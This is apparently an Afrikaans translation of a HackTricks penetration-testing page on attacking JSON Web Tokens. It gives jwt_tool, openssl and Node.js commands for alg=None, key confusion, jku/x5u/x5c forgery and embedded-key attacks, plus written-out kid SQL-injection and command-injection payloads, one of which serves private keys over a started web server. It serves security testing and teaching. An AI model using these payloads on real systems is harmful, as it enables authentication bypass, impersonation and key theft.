# JWT Kwesbaarhede (Json Web Tokens)
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_). {% embed url="https://www.stmcyber.com/careers" %} **'n Deel van hierdie pos is gebaseer op die wonderlike pos:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Outeur van die wonderlike instrument om JWTs te pentest** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Vinnige Wenke** Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `Alle Toetse!` en wag vir groen lyne ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Indien jy gelukkig is, sal die instrument 'n geval vind waar die webtoepassing die JWT verkeerd kontroleer: ![](<../.gitbook/assets/image (435).png>) Daarna kan jy die versoek in jou proksi soek of die gebruikte JWT vir daardie versoek dump met die jwt\_ tool: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` ### Verander data sonder om iets te wysig Jy kan net met die data mors sonder om die handtekening te verander en kyk of die bediener die handtekening nagaan. Probeer byvoorbeeld jou gebruikersnaam na "admin" verander. #### **Word die token nagegaan?** Om te kyk of 'n JWT se handtekening geverifieer word: * 'n Foutboodskap dui op aanhoudende verifikasie; sensitiewe besonderhede in oordadige foute moet nagegaan word. * 'n Verandering in die teruggekeerde bladsy dui ook op verifikasie. * Geen verandering dui op geen verifikasie nie; dit is wanneer jy moet eksperimenteer deur die payload-eise te mors. ### Oorsprong Dit is belangrik om vas te stel of die token serverkant of kliĂ«ntkant gegenereer is deur die geskiedenis van die proksi se versoek te ondersoek. * Tokens wat eerste gesien word van die kliĂ«ntkant dui daarop dat die sleutel moontlik aan kliĂ«ntkant-kode blootgestel is, wat verdere ondersoek noodsaaklik maak. * Tokens wat serverkant ontstaan, dui op 'n veilige proses. ### Duur Kyk of die token langer as 24 uur hou... dalk verval dit nooit nie. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer. ### Brute-force HMAC-geheim [**Sien hierdie bladsy.**](../generic-methodologies-and-resources/brute-force.md#jwt) ### Verander die algoritme na None (CVE-2015-9235) Stel die gebruikte algoritme as "None" in en verwyder die handtekeninggedeelte. Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te toets en verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-tab kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel). ### Verander die algoritme van RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555) Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.\ Die algoritme RS256 gebruik die privaatsleutel om die boodskap te teken en gebruik die openbare sleutel vir verifikasie. As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant-kode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer. Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal deur dit uit te voer: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Nuwe openbare sleutel binne die kop 'n Aanvaller sluit 'n nuwe sleutel in die kop van die token in en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114). Dit kan gedoen word met die "JSON Web Tokens" Burp-uitbreiding.\ (Stuur die versoek na die Herhaler, kies "CVE-2018-0114" binne die JSON Web Token-tabblad en stuur die versoek). ### JWKS Vervalsing Die instruksies beskryf 'n metode om die veiligheid van JWT-tokens te assesseer, veral diĂ© wat 'n "jku" kop-aanspraak gebruik. Hierdie aanspraak behoort te skakel na 'n JWKS (JSON Web Key Set) lĂȘer wat die openbare sleutel bevat wat nodig is vir die token se verifikasie. * **Assessering van Tokens met "jku" Kop**: * Verifieer die URL van die "jku" aanspraak om te verseker dat dit na die toepaslike JWKS-lĂȘer lei. * Wysig die "jku"-waarde van die token om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak. * **Monitering vir HTTP-interaksie**: * Die waarneming van HTTP-versoeke na jou gespesifiseerde URL dui aan dat die bediener poog om sleutels van jou voorsiene skakel te haal. * Wanneer jy `jwt_tool` vir hierdie proses gebruik, is dit noodsaaklik om die `jwtconf.ini`-lĂȘer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer. * **Opdrag vir `jwt_tool`**: * Voer die volgende opdrag uit om die scenario met `jwt_tool` te simuleer: ```bash python3 jwt_tool.py JWT_HIER -X s ``` ### Kid Probleme Oorsig 'n Opsionele kop-aanspraak bekend as `kid` word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar daar verskeie sleutels vir token-handtekeningverifikasie bestaan. Hierdie aanspraak help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer. #### Blootstelling van Sleutel deur "kid" Wanneer die `kid` aanspraak teenwoordig is in die kop, word dit aanbeveel om die webgids te deursoek vir die ooreenstemmende lĂȘer of sy variasies. Byvoorbeeld, as `"kid":"sleutel/12345"` gespesifiseer is, moet die lĂȘers _/sleutel/12345_ en _/sleutel/12345.pem_ in die web-wortel gesoek word. #### Padtraversie met "kid" Die `kid` aanspraak kan ook uitgebuit word om deur die lĂȘerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lĂȘer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Bedienerkant Aanvraagvervalsing (SSRF) aanvalle uit te voer deur die `kid`-waarde te verander om spesifieke lĂȘers of dienste te teiken. Die manipulasie van die JWT om die `kid`-waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` Deur lĂȘers met voorspelbare inhoud te teiken, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die `/proc/sys/kernel/randomize_va_space` lĂȘer in Linux-stelsels, wat bekend is om die waarde **2** te bevat, kan gebruik word in die `kid` parameter met **2** as die simmetriese wagwoord vir JWT-generering. #### SQL-injeksie via "kid" Indien die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` lading te wysig. 'n Voorbeeldlading wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in: `non-bestaande-indeks' UNION SELECT 'AANVALLER';-- -` Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`, vir JWT-ondertekening. #### BS-injeksie deur "kid" 'N Scenario waar die `kid` parameter 'n lĂȘerpad spesifiseer wat binne 'n beveluitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur bevele in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeldlading om RCE en sleutelblootstelling te bereik is: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### x5u en jku #### jku jku staan vir **JWK Set URL**.\ Indien die token 'n "**jku**" **Header** bewering gebruik, **kyk na die voorsiene URL**. Dit behoort te wys na 'n URL wat die JWKS-lĂȘer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde na 'n webdiens te wys waar jy verkeer kan monitor. Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels. ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en private sleutels en deur die parameter jku na die geskepte sertifikaat te verwys.** Om 'n geldige jku-sertifikaat te skep, kan jy die oorspronklike een aflaai en die nodige parameters verander. Jy kan die parameters "e" en "n" van 'n openbare sertifikaat verkry deur: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u X.509 URL. 'n URI wat na 'n stel X.509 ( 'n sertifikaatformaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is, wys. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die volgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is nodig om die sertifikate oor te dra. Probeer **hierdie kopnaam na 'n URL onder jou beheer verander** en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT vervals**. Om 'n nuwe token te vervals met behulp van 'n sertifikaat wat deur jou beheer word, moet jy die sertifikaat skep en die openbare en private sleutels onttrek: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en private sleutels en deur die parameter x5u na die sertifikaat .crt te verwys wat geskep is.** ![](<../.gitbook/assets/image (439).png>) Jy kan ook beide van hierdie kwesbaarhede **misbruik vir SSRFs**. #### x5c Hierdie parameter kan die **sertifikaat in base64-formaat** bevat: ![](<../.gitbook/assets/image (440).png>) As die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep deur die ooreenstemmende private sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aan te pas, naamlik n, e en x5t, sal die vervalsde token essensieel deur die bediener aanvaar word. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Ingeslote Openbare Sleutel (CVE-2018-0114) Indien die JWT 'n ingeslote openbare sleutel het soos in die volgende scenario: ![](<../.gitbook/assets/image (438).png>) Deur die volgende nodejs-skrip te gebruik, is dit moontlik om 'n openbare sleutel van daardie data te genereer: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Dit is moontlik om 'n nuwe privaat/publieke sleutel te genereer, die nuwe publieke sleutel binne die token in te sluit en dit te gebruik om 'n nuwe handtekening te genereer: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Jy kan die "n" en "e" verkry deur hierdie Node.js skrips te gebruik: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` Uiteindelik, deur die openbare en private sleutel en die nuwe "n" en "e" waardes te gebruik, kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT met enige inligting te vervals. ### JTI (JWT ID) Die JTI (JWT ID) eis voorsien 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\ Stel jou voor 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. As die agterkant die ID verhoog met elke versoek, kan jy dit misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek tussen elke suksesvolle herhaling stuur). ### JWT Geregistreerde eise {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} ### Ander aanvalle **Kruisdiens Relaai Aanvalle** Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, deur 'n ander klient van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word. * 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig kan word as om aan te meld by 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree. **Vervaldatum Kontrole van Tokens** Die token se verval word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering vereis. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om die verwerking van hierdie waarde te verseker en die afwysing van verstreke tokens wat verval het, noodsaaklik. As die token 'n "exp" eis insluit en toetstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt\_tool se -R vlag te gebruik. * 'n Sekuriteitsrisiko kan teenwoordig wees as die aansoek steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie. ### Gereedskap {% embed url="https://github.com/ticarpi/jwt_tool" %}
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gespreek word vereis_). {% embed url="https://www.stmcyber.com/careers" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.